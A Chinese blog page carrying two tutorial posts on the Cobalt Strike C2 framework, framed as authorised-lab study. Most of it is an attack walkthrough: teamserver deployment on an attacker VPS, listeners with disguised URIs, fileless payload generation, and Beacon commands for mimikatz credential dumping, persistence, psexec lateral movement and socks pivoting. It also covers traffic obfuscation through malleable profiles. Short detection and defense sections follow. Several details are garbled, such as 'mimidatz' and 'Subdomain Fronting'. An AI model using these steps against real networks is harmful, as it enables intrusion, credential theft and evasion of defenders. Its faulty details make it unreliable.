CobaltStrike 基础与 Beacon 实战

Sat, 29 Aug 2026 23:30:00 +0800

写在前面：合法学习边界

CobaltStrike 只用于授权靶场。对非授权系统上线 C2 可能触犯法律。

一、CobaltStrike 是什么

CobaltStrike 是业界最成熟的 C2 框架，模拟 APT 攻击链：上线 → 后渗透 → 横向 → 数据外泄。

1
2
3


Teamserver（C2 服务器）：运行在攻击者控制的 VPS/服务器上
Client（攻击者 GUI）：通过加密 RPC 连接 Teamserver
Beacon（载荷）：植入目标，定期与 Teamserver 通信

二、CobaltStrike 架构图

三、部署 Teamserver

1
2
3
4
5
6
7


# 下载 CS（需授权 License）
cd /opt/cs
chmod +x teamserver

# 启动 Teamserver
./teamserver <公网IP> <密码>
# 例如：./teamserver 1.2.3.4 mypassword

四、配置 Listener

1
2
3
4
5


Listener → Add
 Name: my_listener
 Type: http（或 https / dns / SMB）
 Host: 1.2.3.4:80（攻击机公网 IP）
 URI: /update.php（伪装路径，可自定义）

1
2
3
4
5


HTTPS 更隐蔽：
 Type: https
 Host: https://example.com:443
 URI: /api/v2/health
 需绑定合法 SSL 证书

五、生成 Payload 并上线

1
2
3
4


Attacks → Web Drive-by → Payload Generator
 Listener: my_listener
 Format: windows/x64 (elf / exe / powershell / python)
 生成 payload

1
2
3
4
5


# 常用格式
exe：直接执行
ps1：PowerShell 命令（内存执行，不落地）
elf：Linux 载荷
raw：shellcode（需手动执行）

六、Beacon 常用命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


beacon> ipconfig # 查看网络
beacon> whoami # 当前身份
beacon> sysinfo # 系统信息
beacon> getuid # 权限等级
beacon> run mimidatz # 跑 mimikatz（内置）
beacon> run persistence # 持久化
beacon> socks # 开 Socks 代理
beacon> portforward # 端口转发
beacon> upload/download # 文件传输
beacon> execute-assembly # 加载 .NET 程序集
beacon> run psexec # 横向 psexec
beacon> spawn # 横向注入新 Beacon

七、横向移动

1
2
3
4
5
6
7
8
9


1. psexec：用凭据打 SMB
 beacon> run psexec \\目标IP username:password

2. spawn（Beacon 注入 Beacon）：
 beacon> spawn 目标IP 目标用户名 密码

3. Socks 代理：
 beacon> socks 65535 1080
 → 攻击机配置 proxychains 走 1080 端口

八、C2 Profile 混淆

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


C2 Profile 是 CS 用来混淆 Beacon 通信的配置文件：
 • 修改 HTTP Header（User-Agent/Host/Referer）
 • 修改 URI 路径
 • 修改加密方式
 • 增加延迟/抖动（模拟正常流量）
 • 使用域名前置（Subdomain Fronting）

工具：
 • malleable-c2（社区 C2 Profile 集合）
 • CS Profile 生成器

九、检测

1
2
3
4


• Beacon 通信特征：固定间隔心跳 + 特定 Header
• C2 Profile 特征：特定 URI/Header 模式
• Socks 代理：frps 端口通信
• 异常进程：CS 生成的一进程多 shellcode 注入

十、防御

1
2
3
4


1. EDR：检测 Beacon 进程注入行为
2. 网络：C2 Profile 流量特征库匹配
3. DNS：拦截异常 DNS 解析
4. ASR：限制进程创建

十一、小结

CobaltStrike 是 C2 标杆工具。核心能力是"Beacon 通信 + 横向 + Socks 代理"。防守核心是 EDR 行为检测 + C2 Profile 流量特征库。

CobaltStrike基础与Beacon实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Cobalt Strike 使用只在授权测试环境进行。

一、Cobalt Strike 架构

1

C2 Server → Listener → Payload → Beacon → Socks5 → Malleable C2

二、Beacon 常用命令

1
2
3
4


系统信息：sysinfo · getuid · getsystem
后渗透：runas · execute-assembly · mimikatz
网络代理：socks5 · route
持久化：updater / launcher

三、Beacon 类型

1
2
3


Beacon（S）：SMB Beacon · 横向移动
Beacon（HTTP）：HTTP Beacon · 主流方式
Beacon（DNS）：DNS Beacon · 隐蔽通信

四、小结

Cobalt Strike 是 C2 框架的标杆。掌握 Beacon 命令和 Malleable C2 流量变形，可完成从上线到后渗透的完整攻击链。

CobaltStrike on SoulJian小站

CobaltStrike 基础与 Beacon 实战

写在前面：合法学习边界

一、CobaltStrike 是什么

二、CobaltStrike 架构图

三、部署 Teamserver

四、配置 Listener

五、生成 Payload 并上线

六、Beacon 常用命令

七、横向移动

八、C2 Profile 混淆

九、检测

十、防御

十一、小结

CobaltStrike基础与Beacon实战

写在前面：合法学习边界

一、Cobalt Strike 架构

二、Beacon 常用命令

三、Beacon 类型

四、小结